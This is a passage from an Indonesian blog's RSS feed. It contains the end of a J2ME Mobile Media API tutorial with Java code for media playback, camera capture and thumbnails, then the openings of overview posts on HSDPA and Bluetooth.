   <span style="color: #000000; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>vc <span style="color: #339933;">!=</span> <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	  vc.<span style="color: #006633;">setVolume</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
   <span style="color: #666666; font-style: italic;">// the player can start with the smallest latency</span>
   p.<span style="color: #006633;">prefetch</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #666666; font-style: italic;">// non-blocking start</span>
   p.<span style="color: #006633;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aioexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">IOException</span></a> ioe<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>MediaException e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
...</pre></td></tr></table></div>

<p>Karena semua InputStream dapat dilewatkan method Manager.createPlayer(), maka aplikasi dapat diputar ulang media dari MIDP Record Management System (RMS), atau dari file JAR. Berikut ini bagaimana memperoleh InputStream dari RMS dan memutar media yang disimpan didalamnya.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p397code15'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p39715"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code" id="p397code15"><pre class="java" style="font-family:monospace;">...
<span style="color: #006633;">RecordStore</span> store<span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">int</span> id<span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">// play back from a record store</span>
<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
   <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ainputstream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">InputStream</span></a> is <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Abytearrayinputstream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">ByteArrayInputStream</span></a>
	 <span style="color: #009900;">&#40;</span>store.<span style="color: #006633;">getRecord</span><span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   Player player <span style="color: #339933;">=</span> Manager.<span style="color: #006633;">createPlayer</span><span style="color: #009900;">&#40;</span>is, <span style="color: #0000ff;">&quot;audio/X-wav&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   p.<span style="color: #006633;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aioexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">IOException</span></a> ioe<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span>MediaException me<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
...</pre></td></tr></table></div>

<p>Di bawah ini contoh yang menyimpan mediannya di file JAR.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p397code16'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p39716"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code" id="p397code16"><pre class="java" style="font-family:monospace;">...
<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
   <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ainputstream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">InputStream</span></a> is <span style="color: #339933;">=</span>
	 getClass<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">getResourceAsStream</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;audio.wav&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   Player player <span style="color: #339933;">=</span> Manager.<span style="color: #006633;">createPlayer</span><span style="color: #009900;">&#40;</span>is, <span style="color: #0000ff;">&quot;audio/X-wav&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   p.<span style="color: #006633;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aioexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">IOException</span></a> ioe<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>MediaException me<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
...</pre></td></tr></table></div>

<h3>Aplikasi Video Playback</h3>
<p>Berikut potongan program yang menunjukkan bagaimana memutar sebuah video berformat MPG.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p397code17'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p39717"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code" id="p397code17"><pre class="java" style="font-family:monospace;">...
<span style="color: #006633;">Player</span> p<span style="color: #339933;">;</span>
VideoControl vc<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
   p <span style="color: #339933;">=</span> Manager.<span style="color: #006633;">createPlayer</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://server/somemovie.mpg&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   p.<span style="color: #006633;">realize</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #666666; font-style: italic;">// get video control</span>
   vc <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>VideoControl<span style="color: #009900;">&#41;</span> p.<span style="color: #006633;">getControl</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;VideoControl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   ....
   <span style="color: #006633;">p</span>.<span style="color: #006633;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aioexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">IOException</span></a> ioe<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>MediaException me<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
...</pre></td></tr></table></div>

<h3>Aplikasi Camera</h3>
<p>MMAPI memasukkan dukungan kamera di dalamnya.</p>
<h4>Capture Video dari Player</h4>
<p>Penentuan lokasi untuk kamera menggunakan: capture://video. Suatu aplikasi dapat menggunakan VideoControl untuk menampilkan suatu view finder di layar dengan ukuran standar.</p>
<pre>mPlayer = Manager.createPlayer("capture://video");</pre>
<p>Jika piranti yang digunakan tidak mendukung video capture, maka akan menghasilkan MediaException. Jika MediaException bernilai true medukung video capture.</p>
<p>Player perlu di release untuk memperoleh resource yang diperlukan dalam mengambil gambar.</p>
<pre>mPlayer.realize();</pre>
<h4>Menampilkan Camera Video</h4>
<p>Video yang berasal dari camera dapat ditampilkan di layar sebagai salah satu Item dalam Form atau bagian dari Canvas. Sebuah VideoControl membuatnya mungkin. VideoControl dapat diperoleh dari Player.</p>
<pre>mVideoControl = (VideoControl)
mPlayer.getControl("VideoControl");</pre>
<p>Jika mengharapkan menampilkan video dari camera di Canvas, inisialisasi VideoControl, kemudian set ukuran dan lokasi dari video di dalam Canvas, kemudian buat video menjadi terlihat (visible). Contoh berikut (konstruktor Canvas dan subclass) menunjukkan bagaimana video ditempatkan dua pixel di dalam form Canvas. Jika video tidak dapat ditempatkan pada lokasi yang ditentukan, maka oleh kontruktor diset menjadi satu layar penuh (full screen). Langkah terakhir adalah memanggil method setVisible() agar camera tampil.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p397code18'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p39718"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code" id="p397code18"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> CameraCanvas<span style="color: #009900;">&#40;</span>SnapperMIDlet midlet,
	VideoControl videoControl<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">int</span> width <span style="color: #339933;">=</span> getWidth<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">int</span> height <span style="color: #339933;">=</span> getHeight<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  mSnapperMIDlet <span style="color: #339933;">=</span> midlet<span style="color: #339933;">;</span>
&nbsp;
  videoControl.<span style="color: #006633;">initDisplayMode</span><span style="color: #009900;">&#40;</span>
	  VideoControl.<span style="color: #006633;">USE_DIRECT_VIDEO</span>, <span style="color: #000000; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
	videoControl.<span style="color: #006633;">setDisplayLocation</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">2</span>, <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	videoControl.<span style="color: #006633;">setDisplaySize</span><span style="color: #009900;">&#40;</span>width <span style="color: #339933;">-</span> <span style="color: #cc66cc;">4</span>, height <span style="color: #339933;">-</span> <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span>MediaException me<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span> videoControl.<span style="color: #006633;">setDisplayFullScreen</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span>
	<span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span>MediaException me2<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
  videoControl.<span style="color: #006633;">setVisible</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Menampilkan video camera dalam sebuah Form hanya berbeda sedikit. Pada method initDisplayMode() pada VideoControl dari USE_DIRECT_VIDEO diganti dengan USE_GUI_PRIMITIVE. Dalam piranti MIDP dapat memperoleh Item yang dan dapat ditempatkan di dalam sebuah Form untuk ditampilkan.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p397code19'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p39719"><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code" id="p397code19"><pre class="java" style="font-family:monospace;">Form form <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Form<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Camera form&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Item item <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>Item<span style="color: #009900;">&#41;</span>mVideoControl.<span style="color: #006633;">initDisplayMode</span><span style="color: #009900;">&#40;</span>
GUIControl.<span style="color: #006633;">USE_GUI_PRIMITIVE</span>, <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
form.<span style="color: #006633;">append</span><span style="color: #009900;">&#40;</span>item<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<h4>Capture Image</h4>
<p>Sekali camera dapat ditampilkan dipiranti, maka capture sebuah image dapat dilakukan dengan mudah dengan memanggil getSnapshot() pada VideoControl. Method tersebut dapat dilengkapi dengan tipe gambar atau tanpa tipe gambar. Default gambar yang dihasilkan bertipe PNG tergantung dengan tipe handset yang digunakan.</p>
<p>Method getSnapshot() mengembalikan sebuah array bertipe byte, yang merupakan data image dalam format yang diinginkan. Dari hasil array tersebut poin yang dapat diambil adalah: mungkin menyimpan byte tersebut dalam record store, mengirimkan ke server atau membuat sebuah Image dari array tersebut sehingga user dapat melihat gambar yang baru saja diambilnya. Berikut contoh pembuatan Image dari array yang dihasilkan dari method getSnapshot().</p>
<pre>byte[] raw = mVideoControl.getSnapshot(null);
Image image = Image.createImage(raw, 0, raw.length);</pre>
<h4>Membuat Thumbnail Image</h4>
<p>Satu hal kelihatannya sederhana adalah bagaimana menampilkan image (gambar) dengan thumbnail, suatu versi menangkap gambar dari kamera. Pada MIDP 2.0 di dalamnya terdapat method untuk memperoleh MIDP 20 memasukkan di dalamnya metoda untuk memperoleh nilai piksel paling luar dari image, dengan nilai tersebut memungkinkan membuat skala transformasi yang benar. Sayangnya MIDP 1.0 tidak dapat menghasilkan data piksel.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p397code20'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p39720"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code" id="p397code20"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">private</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aimage+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Image</span></a> createThumbnail<span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aimage+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Image</span></a> image<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">int</span> sourceWidth <span style="color: #339933;">=</span> image.<span style="color: #006633;">getWidth</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">int</span> sourceHeight <span style="color: #339933;">=</span> image.<span style="color: #006633;">getHeight</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #000066; font-weight: bold;">int</span> thumbWidth <span style="color: #339933;">=</span> <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">int</span> thumbHeight <span style="color: #339933;">=</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>thumbHeight <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
	thumbHeight <span style="color: #339933;">=</span> thumbWidth <span style="color: #339933;">*</span> sourceHeight <span style="color: #339933;">/</span> sourceWidth<span style="color: #339933;">;</span>
&nbsp;
  <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aimage+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Image</span></a> thumb <span style="color: #339933;">=</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aimage+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Image</span></a>.<span style="color: #006633;">createImage</span><span style="color: #009900;">&#40;</span>thumbWidth, thumbHeight<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Agraphics+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Graphics</span></a> g <span style="color: #339933;">=</span> thumb.<span style="color: #006633;">getGraphics</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">int</span> y <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> y <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> thumbHeight<span style="color: #339933;">;</span> y<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">int</span> x <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> x <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> thumbWidth<span style="color: #339933;">;</span> x<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	  g.<span style="color: #006633;">setClip</span><span style="color: #009900;">&#40;</span>x, y, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  <span style="color: #000066; font-weight: bold;">int</span> dx <span style="color: #339933;">=</span> x <span style="color: #339933;">*</span> sourceWidth <span style="color: #339933;">/</span> thumbWidth<span style="color: #339933;">;</span>
	  <span style="color: #000066; font-weight: bold;">int</span> dy <span style="color: #339933;">=</span> y <span style="color: #339933;">*</span> sourceHeight <span style="color: #339933;">/</span> thumbHeight<span style="color: #339933;">;</span>
	  g.<span style="color: #006633;">drawImage</span><span style="color: #009900;">&#40;</span>image, x <span style="color: #339933;">-</span> dx, y <span style="color: #339933;">-</span> dy,
		  <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Agraphics+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Graphics</span></a>.<span style="color: #006633;">LEFT</span> <span style="color: #339933;">|</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Agraphics+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Graphics</span></a>.<span style="color: #006633;">TOP</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aimage+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Image</span></a> immutableThumb <span style="color: #339933;">=</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aimage+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Image</span></a>.<span style="color: #006633;">createImage</span><span style="color: #009900;">&#40;</span>thumb<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">return</span> immutableThumb<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>MMAPI mendukung beberapa format audio dan video, yaitu:</p>
<ul>
<li>Audio: PCM and WAV</li>
<li> MIDI: Type 0 (single track), Type 1 (multiple tracks), and SP-MIDI</li>
<li> Video: MPEG-1</li>
</ul>
<h2>Kesimpulan</h2>
<p>Mobile Media API adalah suatu API yang fleksibel dan powerfull yang menyediakan rendering dan capture data audio dan video. Lokasi file dapat ditempatkan di piranti mobile maupun di server dengan memanfaatkan koneksi jaringan internet.</p>
<h2>Daftar Pustaka</h2>
<ul>
<li>Knudsen, Jonathan., Taking Pictures with MMAPI., http://developers.sun.com/mobility/midp/articles/picture/., July 2003</li>
<li>Mahmoud, H, Qusay., The J2ME Mobile Media API., http://developers.sun.com/mobility/midp/articles/mmapioverview/., June 2003</li>
<li>Feng, Yu and Zhu Jun; Wireless Java Programming with 2 Micro Edition; SAMS; Indianapolis; USA; 2001</li>
<li>Keogh, James; J2ME:The Complete Reference; McGraw-Hill; New York;</li>
<li>Riggs, Roger; Taivalsaari, Antero; Peursem, Van, Jim; Huopaniemi, Jyri; Patel, Mark;  Uotila,  Aleksi; Editor,  Holliday, Jim; Programming Wireless Devices with the Java™ 2 Platform, Micro Edition, Second Edition; Addison Wesley; Juni 2003.</li>
<li>Sun Developer Network;Java 2 Platform, Micro Edition (J2ME); JSR 68 Overview;</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/j2me-pengaksesan-file-multimedia-pada-mobile-device-dengan-mmapi-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://server/somemusic.mp3" length="1245" type="audio/mpeg" />
<enclosure url="http://server/somemovie.mpg" length="1245" type="video/mpeg" />
		</item>
		<item>
		<title>Overview: High Speed Downlink Packet Access</title>
		<link>http://www.andisun.com/jurnal/overview-high-speed-downlink-packet-access</link>
		<comments>http://www.andisun.com/jurnal/overview-high-speed-downlink-packet-access#comments</comments>
		<pubDate>Thu, 20 Aug 2009 02:06:02 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[2G]]></category>
		<category><![CDATA[3G]]></category>
		<category><![CDATA[Access]]></category>
		<category><![CDATA[downlink]]></category>
		<category><![CDATA[EDGE]]></category>
		<category><![CDATA[GPRS]]></category>
		<category><![CDATA[hsdpa]]></category>
		<category><![CDATA[packet]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=386</guid>
		<description><![CDATA[Abstraksi HSDPA (high speed downlink Packet Access) adalah teknologi yang datang menyertai 3G. yang membedakan antara 3G dan HSDPA adalah kecepatan akses transfer datanya walaupun infrastruktur yang digunakan sama, sehingga untuk mengimplementasikan HSDPA tidak memerlukan biaya investasi yang tinggi. Kecepatan HSDPA yang dipasang mendukung 1.8 Mbit/s sampai 3.6 Mbit/s saat downlink. Untuk kedepannya direncanakan mencapai [...]]]></description>
			<content:encoded><![CDATA[<h1>Abstraksi</h1>
<p>HSDPA<em> (high speed downlink Packet Access)</em> adalah teknologi yang datang menyertai 3G. yang membedakan antara 3G dan HSDPA adalah kecepatan akses transfer datanya walaupun infrastruktur yang digunakan sama, sehingga untuk mengimplementasikan HSDPA tidak memerlukan biaya investasi yang tinggi. Kecepatan HSDPA yang dipasang mendukung 1.8 Mbit/s sampai 3.6 Mbit/s saat downlink. Untuk kedepannya direncanakan mencapai 7.2 Mbit/s. Keuntungan yang dapat diperoleh adalah user dapat untuk mengakses data yang besar.</p>
<h1>1.  Pendahuluan</h1>
<p>Solusi mobiltas adalah menggunakan teknologi <em>wireless</em>, yang memungkinkan pengguna untuk menjelajah dengan murah tanpa diributkan dengan kabel, walaupun masih memerlukan penanganan infrastruktur <em>back-end</em>. Dalam pembicaraan sehari-hari <em>wireless</em> adalah sebuah bungkus lama untuk radio transmiter (perpaduan antara peralatan <em>receiver</em> dan <em>transmitter</em>) seperti diterapkan pada jaman radio telegram. Sekarang teknologi tersebut berkembang pesat dengan memunculkan fitur baru.</p>
<p>Fenomena ketika GPRS keluar pertama kali, fitur ini menjadi pertimbangan utama saat membeli ponsel. Ketika teknologi 3G atau dieropa dikenal dengan nama UMTS <em>(universal mobile telecomunication system)</em> juga sama. Kemunculan 3G dibarengi dengan kemunculan HSDPA <em>(high speed downlink packet access)</em>. HSDPA adalah keturunan dari 3G. HSDPA ini dikenal dan digolongkan ke dalam teknologi 3.5G, karena kecepatan transfer datanya lebih bagus dibanding 3G. 3G pada permulaannya maksimal sampai 384 kbit/s, sedangkan dengan HSDPA dapat dinaikkan menjadi 14 Mbit/s.</p>
<p>Salah satu alasan HSDPA muncul hampir berberengan dengan 3G, karena HSDPA berjalan difrekuensi yang sama yang digunakan 3G. Sehingga investasi yang ditanamkan tidak terlalu besar terutama untuk software dan hardware.</p>
<p>Perkembangan HSDPA tidak terlepas dari perkembangan teknologi GSM pada tiap generasinya. Tiap generasi memiliki kemampuan transfer data yang lebih cepat. Berikut evolusi perkembangan generasi ke generasi GSM sampai ke arah HSDPA.</p>
<h1>2.  Generasi Perkembangan GSM</h1>
<h2>2.1. Generasi Pertama (1G)</h2>
<p>Hampir semua teknologi dimulai untuk keperluan militer yang kemudian dipergunakan untuk umum. Sama halnya dengan perkembangan teknologi GSM. Waktu 1G pendek di dalam perkembangan teknologi telepon mobile. 1G berupa telepon analog yang diperkenalkan pada tahun 1980an dan dilanjutkn sampai digantikan dengan generasi kedua (2G) yang berbentuk digital. Beberapa generasi pertama mengikuti standar NMT <em>(Nordisk MobilTelefoni atau Nordiska MobilTelefoni-gruppen)</em>, CDPD <em>(Celluler Digital Packet Data, Mobitex and DataTAC)</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/overview-high-speed-downlink-packet-access/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Overview: Teknologi (Arsitektur dan Protokol) Bluetooth</title>
		<link>http://www.andisun.com/jurnal/overview-teknologi-arsitektur-dan-protokol-bluetooth</link>
		<comments>http://www.andisun.com/jurnal/overview-teknologi-arsitektur-dan-protokol-bluetooth#comments</comments>
		<pubDate>Wed, 19 Aug 2009 07:52:32 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[bluetooth]]></category>
		<category><![CDATA[frequency]]></category>
		<category><![CDATA[pico]]></category>
		<category><![CDATA[radio]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=367</guid>
		<description><![CDATA[Abstraksi Pada bulan Mei 1998, 5 perusahaan promotor yaitu Ericsson, IBM, Intel, Nokia dan Toshiba membentuk sebuah Special Interest Group (SIG) dan memulai untuk membuat spesifikasi yang mereka namai ‘bluetooth’. Pada bulan Juli 1999 dokumen spesifikasi bluetooth versi 1.0 mulai diluncurkan. Pada bulan Desember 1999 dimulai lagi pembuatan dokumen spesifikasi bluetooth versi 2.0 dengan tambahan [...]]]></description>
			<content:encoded><![CDATA[<h2>Abstraksi</h2>
